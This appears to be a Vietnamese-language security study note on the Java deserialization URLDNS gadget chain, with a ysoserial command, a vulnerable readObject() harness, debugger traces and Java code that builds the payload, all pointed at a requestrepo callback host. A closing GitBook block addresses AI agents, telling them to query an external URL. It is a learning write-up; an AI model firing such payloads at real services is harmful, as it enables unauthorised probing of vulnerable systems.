> For the complete documentation index, see [llms.txt](https://duc193.gitbook.io/notes/llms.txt). Markdown versions of documentation pages are available by appending `.md` to page URLs; this page is available as [Markdown](https://duc193.gitbook.io/notes/web-security/java-deserialize/debug-chain/urldns-chain.md).

# URLDNS Chain

Tương tự PHP, Java deserialize cũng cần **gadget chain** để đạt được mục tiêu khai thác (RCE, file write, SSRF, …).

Tuy nhiên, **Java** khác **PHP** ở cơ chế kích hoạt:

* **PHP** có thể chain thông qua các **magic method** như `__wakeup()`, `__destruct()`, `__toString()` — các method này được tự động gọi khi `unserialize()` hoặc khi object bị hủy.
* **Java** không có magic method theo nghĩa đó.

Trong **Java deserialization**, gadget chain **chỉ có thể bắt đầu từ các entry point liên quan trực tiếp đến quá trình deserialize**, bao gồm:

* `readObject()`
* `readResolve()`
* `readExternal()`

Từ các entry point này, quá trình rebuild object sẽ **gián tiếp gọi các method khác** (ví dụ `hashCode()`, `compare()`, `toString()`) thông qua logic nội bộ của JDK hoặc thư viện, và chính các side effect này được lợi dụng để xây dựng gadget chain.

Tóm lại :

* Java không chain bằng magic method
* Mà chain bằng control flow hợp lệ của quá trình deserialize

## Demo Gadget chain `URLDNS`

Đầu tiên thì chúng ta xem chain của nó bằng `ysoserial`

<https://github.com/frohoff/ysoserial.git>

Vào install và download bản jar về (dùng java 8 cho đỡ bị lỗi)\
<https://github.com/frohoff/ysoserial/releases/latest/download/ysoserial-all.jar>

Lệnh gen payload ysoserial để trigger URLDNS ra file.

`java -jar ysoserial.jar URLDNS "<https://31vghy8p.requestrepo.com/>" > data.ser`

Sau khi đã có file `data.ser` thì trigger nó bằng **`readObject()`** thử.

Code như sau :

```csharp
import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class TestDeserialize {
    public static void main(String[] args) throws Exception {
        FileInputStream fis = new FileInputStream("C:\\Users\\USER\\Desktop\\JavaTest\\tool\\ysoserial\\data.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);
				// sau khi read file thì trigger deserialize bằng readObject()
        Object obj = ois.readObject();

        ois.close();
        fis.close();
        System.out.println("Done");
    }
}

```

Sau khi chạy thì đã có dns tới requestrepo :

<figure><img src="/files/exogwdoZLk4d17URx9P3" alt=""><figcaption></figcaption></figure>

Thì cái chain này sẽ theo flow sau :

```csharp
 *   Gadget Chain:
 *     HashMap.readObject()
 *       HashMap.putVal()
 *         HashMap.hash()
 *           URL.hashCode()
	 (<https://github.com/frohoff/ysoserial/blob/master/src/main/java/ysoserial/payloads/URLDNS.java>)
```

Vì gadgetchain này nằm trong built-in Java nên có thể `ctrl + N` để đi đến class này

<figure><img src="/files/jvELCmVMDZIgl85skwzj" alt=""><figcaption></figcaption></figure>

Enter thì nó sẽ nhảy tới phần đầu của class cho chúng ta

<figure><img src="/files/i2zbjZQhY3MGJCcDvGqM" alt=""><figcaption></figcaption></figure>

Sau đó dùng `Ctrl + F12` để list ra các method có trong class này.

<figure><img src="/files/9PmNbvAEikhQadXiQNqf" alt=""><figcaption></figcaption></figure>

method chúng ta cần là `readObject` nên cứ gõ `readObject` vào để nó find

<figure><img src="/files/WJ9cW9YdPKiSfOjykwFc" alt=""><figcaption></figcaption></figure>

Và theo flow của chain thì nó sẽ call tới `putVal`, call `hash()` nên tạm thời chúng ta cần đặt break point ngay tại đây. (Dùng **`Ctrl + F8`**)

Sau đó run lại, nó đã dừng ở breakpoint :

<figure><img src="/files/PhkGpTAX4SFtBVbcMbWx" alt=""><figcaption></figcaption></figure>

Sau đó nhấn **`F7`** để nhảy vào method (nó cho chúng ta chọn giữa `putVal` và `hash(key)` thì chúng ta chọn `hash(key)`

Nhảy vào method `hash` :

<figure><img src="/files/JW5DaN15flkNzt2jNyKC" alt=""><figcaption></figcaption></figure>

**`F7`** vào `hashCode`

<figure><img src="/files/sm19dNo8BGt55LWvM0Ej" alt=""><figcaption></figcaption></figure>

đoạn này có if `hashCode ≠1` nó sẽ return `hashCode`, còn không thì call **`handler.hashCode(this)`**

trong này nó sẽ call tới **`getHostAdress(u)`**

<figure><img src="/files/gGTd7j7q3syNa0KlzDIm" alt=""><figcaption></figcaption></figure>

<figure><img src="/files/GoMvT52FSoydRAR1GFS8" alt=""><figcaption></figcaption></figure>

Bên trong **`getHostAddress()`** có call tới **`InetAddress.getByName(host)`**

<figure><img src="/files/GdCX40R8UhLPAbibqovh" alt=""><figcaption></figcaption></figure>

Đây là method resolve DNS tới host của chúng ta.

Vậy là chain đã kết thúc.

Chain đầy đủ các method sẽ như sau :

```csharp
HashMap.readObject()
	HashMap.putVal()
		HashMap.hash()
			URL.hashCode()
				URLStreamHandler.getHostAddress(u)
					InetAddress.getHostAddress()
```

GEN PAYLOAD :

```csharp
import java.io.*;
import java.net.URL;
import java.util.HashMap;

public class GenURLDNS {

    public static void main(String[] args) throws Exception {

        URL url = new URL("<https://31vghy8p.requestrepo.com/>");

        HashMap<Object, Object> map = new HashMap<>();
        map.put(url, "test");

        //Serialize
        ByteArrayOutputStream bos = new ByteArrayOutputStream();
        ObjectOutputStream oos = new ObjectOutputStream(bos);

        oos.writeObject(map);
        oos.close();

        byte[] payload = bos.toByteArray();

        FileOutputStream fos = new FileOutputStream("data.ser");
        fos.write(payload);
        fos.close();
    }
}

```

Khi gen như này và test thì nó đã deserialize và gửi dns tới rồi.

Nhưng khi debug thì ko thấy nó call theo chain của chúng ta này là do bị cache set `hashCode` rồi nên nó k gọi lại nữa , chỉ được gọi 1 lần.

<figure><img src="/files/C2w1FRP0vU7182rLtKfI" alt=""><figcaption></figcaption></figure>

Và `hashCode` là private field nên chúng ta cần dùng reflection api để set nó là `-1`

<figure><img src="/files/Fq3q4jagi8DlDgpUjBEJ" alt=""><figcaption></figcaption></figure>

```csharp
import java.io.*;
import java.lang.reflect.Field;
import java.net.URL;
import java.util.HashMap;

public class GenURLDNS {

    public static void main(String[] args) throws Exception {

        URL url = new URL(null, "<http://31vghy8p.requestrepo.com/>");

        HashMap<Object, Object> map = new HashMap<>();

        map.put(url, "test");
        Field f = URL.class.getDeclaredField("hashCode");
        f.setAccessible(true);
        f.set(url, -1);

        // Serialize
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("data.ser"));
        oos.writeObject(map);
        oos.close();
    }
}

```

dùng reflection set `hashCode` sau khi put do trong method put cũng call putVal `hash(key)`

<figure><img src="/files/iYmojxFpMcnatbKNQID2" alt=""><figcaption></figcaption></figure>

Done

```csharp
import java.io.FileInputStream;
import java.io.ObjectInputStream;

public class TestDeserialize {
    public static void main(String[] args) throws Exception {
//        FileInputStream fis = new FileInputStream("C:\\Users\\USER\\Desktop\\JavaTest\\tool\\ysoserial\\data.ser");

        FileInputStream fis = new FileInputStream("C:\\Users\\USER\\Desktop\\JavaTest\\TestDeserialize\\data.ser");
        ObjectInputStream ois = new ObjectInputStream(fis);

        Object obj = ois.readObject();

        ois.close();
        fis.close();
        System.out.println("Done");
    }
}

```

Vậy là chúng ta đã phân tích và tạo payload java deserialize **`URLDNS`** thành công

## Reference&#x20;

* <https://hackmd.io/@endy/HyzJE0jO2>
* <https://sec.vnpt.vn/2020/02/the-art-of-deserialization-gadget-hunting-part-2>
* <https://clbuezzz.wordpress.com/2022/11/05/ysoserial-commonscollections-analysisphan-1-7/>


---

# Agent Instructions
This documentation is published with GitBook. GitBook is the documentation platform designed so that both humans and AI agents can read, navigate, and reason over technical content effectively. Learn more at gitbook.com.

## Querying This Documentation
If you need additional information that is not directly available in this page, you can query the documentation dynamically by asking a question.

Perform an HTTP GET request on the current page URL with the `ask` query parameter, and the optional `goal` query parameter:

```
GET https://duc193.gitbook.io/notes/web-security/java-deserialize/debug-chain/urldns-chain.md?ask=<question>&goal=<endgoal>
```

`ask` is the immediate question: it should be specific, self-contained, and written in natural language.
`goal` is optional and describes the broader end goal you are ultimately trying to accomplish on behalf of the user. GitBook uses it to tailor the answer towards what is most useful for that goal.

The response will contain a direct answer to the question and relevant excerpts and sources from the documentation.

Use this mechanism when the answer is not explicitly present in the current page, you need clarification or additional context, or you want to retrieve related documentation sections.
